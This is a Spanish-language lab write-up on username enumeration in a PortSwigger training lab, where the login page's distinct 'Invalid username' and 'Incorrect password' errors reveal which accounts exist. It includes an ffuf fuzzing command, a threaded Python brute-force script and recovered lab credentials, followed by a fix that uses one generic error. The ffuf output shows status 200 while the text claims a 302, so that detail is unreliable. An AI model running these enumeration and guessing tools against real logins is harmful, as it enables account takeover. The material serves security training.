← Writeups

Username Enumeration via Different Responses — PortSwigger Lab

Enumeración de usuarios abusando de la discrepancia entre las respuestas 'Invalid username' e 'Incorrect password' del endpoint POST /login.

Username Enumeration via Different Responses

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Media
Endpoint vulnerable POST /login
Root cause Respuestas de error diferenciadas según exista o no el usuario, creando un oráculo de enumeración

El endpoint POST /login responde Invalid username cuando el usuario no existe y Incorrect password cuando el usuario existe pero la contraseña es incorrecta. Esta discrepancia permite enumerar usuarios válidos sin autenticación.

2. Technical Breakdown & Exploitation Flow

2.1 Enumeración de usuarios con ffuf

Capturar la request de login, sustituir los valores por los marcadores FUZZ y FUZZ2, y guardarla en enum.txt:

POST /login HTTP/2
Host: 0a2400150430da4480d194ae00aa005a.web-security-academy.net
Cookie: session=ONoUjeVS2kHeT52Uyjt4CNtj0GcYgHY1
Content-Type: application/x-www-form-urlencoded

username=FUZZ&password=FUZZ2

Ejecutar ffuf contra dos wordlists, filtrando la respuesta Invalid username:

/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -w pass.txt:FUZZ2 -fr "Invalid username"

Salida relevante:

[Status: 200, Size: 3246, Words: 1323, Lines: 68, Duration: 184ms]
    * FUZZ: alterwind
    * FUZZ2: 123456

El único candidato cuyo mensaje de error no es Invalid username es alterwind; la misma pasada expone su contraseña (alterwind:123456), ya que la combinación correcta devuelve un 302 Found en lugar del mensaje de error.

2.2 Enumeración de usuarios con Python

Variante multihilo que descarta los usernames cuya respuesta contenga Invalid username:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchUsername(filename):
    listUsername = list()
    with open(filename) as fd:
        for line in fd:
            listUsername.append(line.strip())
    return listUsername

def sendRequest(url, cookie, username):
    loginData = {'username': username, 'password': 'anything'}
    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
    if 'Invalid username' not in loginRequestText:
        print(f'[+] Found user: {username}')

def main():
    url = 'https://0a2400150430da4480d194ae00aa005a.web-security-academy.net/login'
    cookie = {'session': 'cuah1NF2bfeU4Lf2xA3ZdCnbMs5OuI4m'}
    userFileName = './users.txt'
    listUsername = fetchUsername(userFileName)
    for username in listUsername:
        thread = Thread(target=sendRequest, args=(url, cookie, username))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

3. Root Cause Analysis

El patrón defectuoso es la diferenciación de mensajes de error en la lógica de login:

# Implementación vulnerable
user = db.get_user(request.username)
if user is None:
    return "Invalid username"          # ❌ Oráculo de existencia de usuario
if not verify_password(user, request.password):
    return "Incorrect password"        # ❌ Confirma que el usuario existe
create_session(user)

Ambos estados son distinguibles de forma remota y sin autenticación, lo que reduce el espacio de búsqueda de credenciales a un solo paso.

4. Secure Remediation

Respuesta uniforme para ambos fallos, sin revelar la existencia del usuario:

# Implementación segura
user = db.get_user(request.username)
if user is None or not verify_password(user, request.password):
    return "Invalid username or password"   # Misma respuesta en ambos casos
create_session(user)

El mensaje genérico debe emitirse además con el mismo código de estado, tamaño de body y latencia en ambos casos para eliminar cualquier side-channel adicional.